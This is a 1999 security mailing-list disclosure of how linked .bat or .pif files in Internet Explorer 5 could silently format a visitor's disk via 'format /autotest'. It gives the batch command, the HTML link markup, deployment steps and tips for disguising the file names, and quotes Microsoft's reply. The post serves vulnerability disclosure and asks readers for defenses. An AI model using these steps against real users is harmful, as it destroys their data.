IE5 Automated format of HD, no ActiveX required

[codale () HFX ANDARA COM (Charles D. O'Dale)]

Hi all,

Back in July, I discovered a simple way in which a user's hard drive may
be unexpectedly formatted via the World Wide Web using the Internet
Explorer web browser -- no ActiveX required.  Microsoft was contacted
many times via Secure () microsoft com but would not acknowledge the
difficulty as a problem (part of the e-mail exchange is re-printed
below).  As it has been over two months since this potential nightmare
was pointed out to them, and as no solution has been forthcoming, I'm
hoping that you folks might be able to come up with a simple client-side
answer to this problem before some vandal discovers it and decides to
implement it on a large scale.

To summarize:

This attack involves uploading a .bat or .pif file (for the Format
command) and linking it via html to a standard web page.  Once this link
is clicked and the user agrees to 'Open' the file presented, a process
will be started -- without prompting from the user -- to format the
user's hard drive.

The key is the Format command's "/autotest" flag, which I believe was
put into place early on in MS-DOS's history to assist in batch
processing, and was probably dropped from the documentation some time
back (it's not in my DOS 5.0 manual as far as I can tell -- although
that's not too far in the past).  It can be tested for by entering:
"Format a: /autotest" at the MS-DOS C:\ prompt.

The automated format via web page can be accomplished as follows (with
the example shown demonstrating how to create a link on a web page which
will automatically format Drive A):

1)   Either:

         Create a .pif file ("Format.pif") with the Command Line set to:

               "C:\WINDOWS\COMMAND\FORMAT.COM a: /autotest"

        And Working Line set to:

             "C:\WINDOWS\COMMAND"

        Or:

          Create a .bat file ("Format.bat") with a single command:

             "format a: /autotest"

        (Should the user wish to format another disk, the a: may be
replaced with c:, d:, e:, etc.)

2)  Link to the file on a web page as follows:

      <a href="Format.pif">Click Me</a>

       Or:

       <a href="Format.bat">Click Me</a>

     According to the method chosen for implementation in step 1.  These
links may be placed beneath graphics or text, as would be found on a
regular web page.

3)  Upload the html document and .pif or .bat file to the targetted web
server directory and wait for an unwary user to click the link and
'Open'.

Spooky, eh?

These steps don't create a Trojan Horse so much as an out-right "Cyber
Mine" which will be activated on a user's machine the instant they click
the link and accept the file into their system.  As the download of the
< 1k file is almost instantaneous, damage will be made to the user's
data in a matter of seconds.

The nasty kicker to this particular operation is the "/autotest" flag,
which automatically activates the command preceeding it (in this case,
the malicious Format) without requiring an acknowledgement from the
user.  Although the user will be prompted to either 'Save' or 'Open' the
file before any damage can be done, it is easy to see how a trusted web
site, compromised by a malicious cracker and mined in the manner
described above, could deliver this damaging bomb:

-----

Reading a trusted web page, the unwary user would click the mined link
and accept the file into their system.  Given a suitable name, such as
'Business_Plan.bat' or 'Secure.pif', it's reasonable to expect an
average user to choose 'Open' when reading this file, as they would
normally be provided with an option to save or discard the document at a
later time and so have it held -- relatively harmlessly -- in memory.
However, with the mined link, an automated format would be started
instead.

-----

Unfortunately, given the frequency with which web pages are vandalized
these days, it's not unreasonable to expect a malicious link of this
nature being installed on a high-traffic web site at some point in the
future.  Should a few hours pass before the incident is discovered (if
the vandal leaves the page cosmetically intact, the 'cyber mined' .pif
or .bat files (being only 1 k in size) would remain well hidden), a
great deal of damage could be done to the systems of visiting users
without them quite understanding how or why the damage occurred.

There may be other attacks through this hole made possible by linking to
different C:\Windows\Command files and I believe it may also be
activated through various e-mail applications which permit html encoding
-- making for one nasty Melissa-type e-mail!

Of course, the user DOES have to choose 'Open' to activate the script,
so this isn't necessarily operating outside of the expected bounds of
operation for the Internet Explorer web browser.  However, given the
unforgiving consequences a user would face for unexpectedly 'Opening'
one of these malicious files off of a trusted web page or from one's
e-mail, the "/autotest" flag might prove to be a feature which deserves
early retirement.

Now, for Secure () microsoft com's response:

-----8<----------8<----------8<----------8<----------8<----------8<----------8<----------8<-----

Return-Path: <secure () microsoft com>
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121])
by M5.andara.com
(8.9.3/8.9.3) with SMTP id AAA02662 for <codale () hfx andara com>; Thu, 29
Jul 1999 00:05:17
-0300 (ADT)
Received: from 157.54.9.108 by mail5.microsoft.com (InterScan E-Mail
VirusWall NT); Wed, 28
Jul 1999 20:02:37 -0700 (Pacific Daylight Time)
Received: by INET-IMC-05 with Internet Mail Service (5.5.2524.0) id
<PWW6Z726>; Wed, 28 Jul
1999 20:02:37 -0700
Message-ID: <D1A11CCE78ADD111A35500805FD43F5801979296@RED-MSG-04>
From: Microsoft Product Security Response Team <secure () microsoft com>
To: "'Charles O'Dale'" <codale () hfx andara com>
Subject: RE: Automated Disk Format via Browser
Date: Wed, 28 Jul 1999 20:02:36 -0700
X-Mailer: Internet Mail Service (5.5.2524.0)
X-Mozilla-Status: 8013
X-Mozilla-Status2: 00000000
X-UIDL: b74162acb7b26c38ff7f97cefd509df4

Ah, now I understand!  The problem is in the dialogue box.  By "open" we
mean that we'll take whatever action on the file that a double-click
would cause.  For documents, we open the file.  For executables and
batch files, we run them.

IE is doing what it should, but it sounds like our dialogue box could
use some rewording.  I hadn't considered that the meaning of the "open"
selection might not be clear to everyone, but I can certainly see why it
would be confusing.

I'll take this issue up with the IE team, and suggest that we reword
this dialogue in a future version.  Meantime, it sounds like IE security
is working fine, it's just our English that needs work.  Thanks very
much for taking the time to write!

Secure () microsoft com

-----8<----------8<----------8<----------8<----------8<----------8<----------8<----------8<-----

Well, that's the solution I was offered.

Doesn't an application have to be registered in IE with its own MIME
type before it can be activated straight from a link?  If an executable
(.exe) file is linked, IE prompts the user with an Authenticode(tm)
dialog, warning the user that the .exe has not been digitally signed.
This adds a level of security.

However, with a .bat or .pif file, the file is executed from within the
browser once it is 'Opened'.  In the case of the example given, this
activates a format of the user's disk without warning.

Wouldn't it be prudent to change the handling of .bat and .pif files
such that they're either displayed to the screen as text (as with
Netscape Navigator / Communicator) or are treated with the same level of
security as an .exe?  I cannot think of a case where a user would want
to have a batch file (or .pif linked command) activated on their machine
from a remote location via web browser.

Could anyone propose a defense to a stealthy attack of this sort?

Thanks,

Charles D. O'Dale
Halifax, Nova Scotia
codale () hfx andara com